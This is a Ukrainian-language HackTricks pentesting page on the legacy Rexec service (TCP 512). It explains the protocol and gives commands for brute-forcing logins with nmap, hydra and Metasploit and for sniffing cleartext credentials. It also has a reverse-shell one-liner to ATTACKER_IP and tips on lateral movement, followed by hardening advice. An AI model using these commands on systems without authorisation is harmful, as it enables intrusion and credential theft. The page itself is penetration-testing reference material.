512 - Pentesting Rexec
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Rexec (віддалений exec) є одним з оригінальних сервісів Berkeley r-сервісів (разом з rlogin
, rsh
, …). Він надає можливість віддаленого виконання команд, автентифіковану лише за допомогою відкритого імені користувача та пароля. Протокол був визначений на початку 1980-х років (див. RFC 1060) і в даний час вважається незахищеним за дизайном. Тим не менш, він все ще увімкнений за замовчуванням у деякому застарілому UNIX / мережевому обладнанні і іноді з'являється під час внутрішніх pentest.
Порт за замовчуванням: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Увесь трафік – включаючи облікові дані – передається некодованим. Будь-хто, хто має можливість перехопити мережу, може відновити ім'я користувача, пароль та команду.
Швидкий огляд протоколу
- Клієнт підключається до TCP 512.
- Клієнт надсилає три NUL-терміновані рядки:
- номер порту (в ASCII), на якому він бажає отримувати stdout/stderr (часто
0
), - ім'я користувача,
- пароль.
- Надсилається фінальний NUL-термінований рядок з командою для виконання.
- Сервер відповідає єдиним 8-бітним байтом статусу (0 = успіх,
1
= невдача), за яким слідує вихід команди.
Це означає, що ви можете відтворити обмін, використовуючи лише echo -e
та nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Якщо облікові дані дійсні, ви отримаєте вихід id
безпосередньо на тому ж з'єднанні.
Ручне використання з клієнтом
Багато дистрибутивів Linux все ще постачають застарілий клієнт у пакеті inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Якщо -p
пропущено, клієнт запитає пароль інтерактивно (видимий в мережі у відкритому тексті!).
Перерахунок та Брутфорс
Брутфорс
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute
NSE використовує протокол, описаний вище, щоб дуже швидко спробувати облікові дані.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
має спеціалізований rexec модуль і залишається найшвидшим офлайн брутфорсером. medusa
(-M REXEC
) та ncrack
(rexec
модуль) можуть використовуватися так само.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Модуль створить оболонку при успіху та зберігатиме облікові дані в базі даних.
Перехоплення облікових даних
Оскільки все передається у відкритому вигляді, перехоплення мережі безцінне. З копією трафіку ви можете витягти облікові дані, не торкаючись цілі:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark увімкніть Decode As … TCP 512 → REXEC, щоб переглянути красиво розпарсені поля.)
Поради після експлуатації
- Команди виконуються з привілеями наданого користувача. Якщо
/etc/pam.d/rexec
неправильно налаштований (наприклад,pam_rootok
), іноді можливі root shell. - Rexec ігнорує оболонку користувача і виконує команду через
/bin/sh -c <cmd>
. Тому ви можете використовувати типові трюки з оболонкою (;
,$( )
, зворотні лапки) для з'єднання кількох команд або створення зворотних shell:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Паролі часто зберігаються в ~/.netrc на інших системах; якщо ви зламаєте один хост, ви можете повторно використовувати їх для бічного переміщення.
Укріплення / Виявлення
- Не піддавайте rexec; замініть його на SSH. Практично всі сучасні inetd супервізори за замовчуванням коментують цю службу.
- Якщо ви повинні його зберегти, обмежте доступ за допомогою TCP обгорток (
/etc/hosts.allow
) або правил брандмауера та забезпечте надійні паролі для кожного облікового запису. - Моніторте трафік на :512 та запуски процесу
rexecd
. Один захоплений пакет достатній для виявлення компрометації. - Вимкніть
rexec
,rlogin
,rsh
разом – вони ділять більшість одного й того ж коду та вразливостей.
Посилання
- Документація Nmap NSE
rexec-brute
– https://nmap.org/nsedoc/scripts/rexec-brute.html - Модуль Rapid7 Metasploit
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.